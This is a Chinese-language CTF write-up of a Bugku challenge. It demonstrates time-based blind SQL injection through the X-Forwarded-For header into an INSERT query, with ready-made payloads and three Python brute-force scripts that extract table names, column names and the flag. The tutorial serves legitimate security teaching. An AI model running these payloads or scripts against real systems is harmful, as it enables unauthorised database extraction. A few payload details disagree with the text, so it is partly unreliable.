bugku INSERT INTO注入(基于时间的盲注,详细教程)

文章目录

  • 题目
  • 分析
    • 基于时间盲注的常用函数
    • 选择合适函数绕过
    • 与盲注相关数据库知识
      • SCHEMATA表
      • TABLES表
      • COLUMNS表
    • 常用sql语句
  • 开始爆库
  • 总结

题目

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第1张图片
链接地址:http://123.206.87.240:8002/web15/

分析

打开页面后:
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第2张图片
分析页面的php代码
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第3张图片
通过源码分析,
注入点在x-forwarded-for:client,proxy1,proxy2的client处。关于XFF移步博文
获取用户ip,并把ip插入到client_ip表中的ip列中
因为源码第一行,关闭了错误报告,所以没有回显。在此采取基于时间的盲注。

基于时间盲注的常用函数

sleep() //延迟函数
BENCHMARK(count,expr)函数 //将expr语句执行count次来达到延迟的目的
if(condition,true,false) //条件语句
If表达式:IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3
ascii() //转换成ascii码
substring(“string”,strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符
Mid函数:MID(column_name,start[,length])

选择合适函数绕过

本题中,源码里对ip这个注入点进行了“,”过滤,所以if表达式不再适用
在此采用 case when exp1 then sleep(5) else 1 end 来绕过对“,”的限制
因为exp1会用到substr来进行剪切,而substr(str,start,length)也存在“,”,于是采用substr (str) from start for length 来绕过对“,”的限制

与盲注相关数据库知识

information_schema 是mysql中的信息数据库。保存着关于mysql服务器所维护的所有其他数据库的信息
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第4张图片
在infomation_schema中有几个很重要的表
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第5张图片

SCHEMATA表

SCHEMATA表:提供了当前mysql实例中所有数据库的信息
SCHEMA_NAME记录着所有数据库名
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第6张图片

TABLES表

tables表:提供了当前数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第7张图片
TABLE_SCHEMA中记录着数据库名,TABLE_NAME中记录该数据库的所有表名
是**show tables form schema_name**的结果取之此表

COLUMNS表

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第8张图片
columns表提供了表中列的信息,详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表

TABLE_SCHEMA记录数据库信息,
TABLE_NAME记录表信息,
COLUMN_NAME记录列信息

常用sql语句

select database();  返回当前使用的数据库

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第9张图片

concat(str1,str2)函数,将多个字符串连接成一个字符串。

select concat (col1,col2,...) as info from tables;

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第10张图片

concat_ws()可以指定分隔符

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第11张图片

group_concat() 会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定

语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第12张图片
使用语句select group_concat(address separator '-') from student group by name;查询,其实是按name排序,生成不同记录。
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第13张图片
若不用group by 使用select group_concat(address separator '-') from student;查询,将所有指定字段address中所有值列出,生成一条记录。
在这里插入图片描述
本题中利用group_concat 函数的这种特性,可以列出当前数据库下的所有表字段,生成一条记录。

开始爆库

爆表长度:
payload:

'and (case when (length((select group_concat(table_name separator '-') from information_schema.tables where TABLE_SCHEMA=database()))=14) then sleep(4) else 1 end)) #

有五个注意点

  1. 前面的 ’ 是为了与查询语句中的(‘$ip’)第一个单引号闭合
  2. 最后end)后多一个右括号是为了与(‘$ip’)的左括号闭合 。
  3. 最后的#为了将多余的’)注释掉
  4. lenth(str)函数中str即为select查询语句的结果,必须要加括号!, 即length((select group_concat(table_name)…))
  5. 因为group_concat分隔符默认为’,’ 会被过滤,所以在此使用‘-’
  6. 数据库中‘=’即‘==’ (生怕小白们不知道 0.0)

实际查询语句是:

insert into client_ip (ip) values ('1' and 
(
	case when
			(length(
						(select group_concat(TABLE_NAME separator ‘-) 
					 	from information_schema.TABLES 
						 where TABLE_SCHEMA=database())
					  )=14 )
	then sleep(4) 
	else 1 end
)
) #')

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第14张图片
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第15张图片
表名长度为14

爆表名:
划重点:爆内容时,注意在数据库中字符要加单引号

import requests
import string 
allString = string.printable
# print(allString)
url="http://123.206.87.240:8002/web15/"
table=""
for i in range(1,15):
    for s in allString:
        data="11'and (case when (substr((select group_concat(table_name Separator '-') from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + s + "') then sleep(4) else 1 end )) #" # 数据库查询语句中 s 要加单引号 !!!
        headers={"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3) #服务器经过timeout秒内没有应答将会引发一个异常
        except requests.exceptions.ReadTimeout:
            table += s
            print(table)
            break
print("表名:"+table)

结果可以看到当前数据库中有 client_ip 和 flag两个表
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第16张图片
显然flag在flag表中,下一步爆flag表中
爆字段:
payload:

1‘ and (case when(length((select group_concat(COLUMN_NAME separator '-') from information_schema.COLUMNS where TABLE_NAME='flag'))=4) then sleep(4) else 1 end)) #

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第17张图片bugku INSERT INTO注入(基于时间的盲注,详细教程)_第18张图片
字段长为4. 大胆猜测flag表中就是只有一个flag列!
再次求证一下
爆字段

import requests
import string 
allString = string.printable
url="http://123.206.87.240:8002/web15/"
column=""
for i in range(1,5):
    for s in allString:
        data="1'and (case when (substr((select group_concat(COLUMN_NAME Separator '-') from information_schema.COLUMNS where TABLE_NAME='flag') from " + str(i) + " for 1 )='" + s + "') then sleep(4) else 1 end )) #" # s 要加单引号
        headers={"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3) #服务器经过timeout秒内没有应答将会引发一个异常
        except requests.exceptions.ReadTimeout:
            column += s
            break
print("列名:"+column)

对上面代码稍作修改即可
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第19张图片
爆字段内容
payload

1‘ and(case when(length((select group_concat(flag) from flag))=4) then sleep(4) else 1 end)) #

长度为32
bugku INSERT INTO注入(基于时间的盲注,详细教程)_第20张图片
内容

import requests
import string 
allString = string.printable
url="http://123.206.87.240:8002/web15/"
flag=""
for i in range(1,33):
    for s in allString:
        data="1'and (case when (substr((select flag from flag) from " + str(i) + " for 1 )='" + s + "') then sleep(4) else 1 end )) #" # s 要加单引号
        headers={"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3) #服务器经过timeout秒内没有应答将会引发一个异常
        except requests.exceptions.ReadTimeout:
            flag += s
            break
print("flag:"+flag)

bugku INSERT INTO注入(基于时间的盲注,详细教程)_第21张图片

总结

  1. 找好注入点
  2. 爆库的几个阶段
    库:select database() 即可获得当前数据库
    表:先爆破长度,再穷举爆具体表名
    字段(列):先爆破长度,再穷举爆具体字段名
    字段内容:先长度后内容

长度可写脚本也可直接用burpsuit爆破

你可能感兴趣的:(ctf,mysql)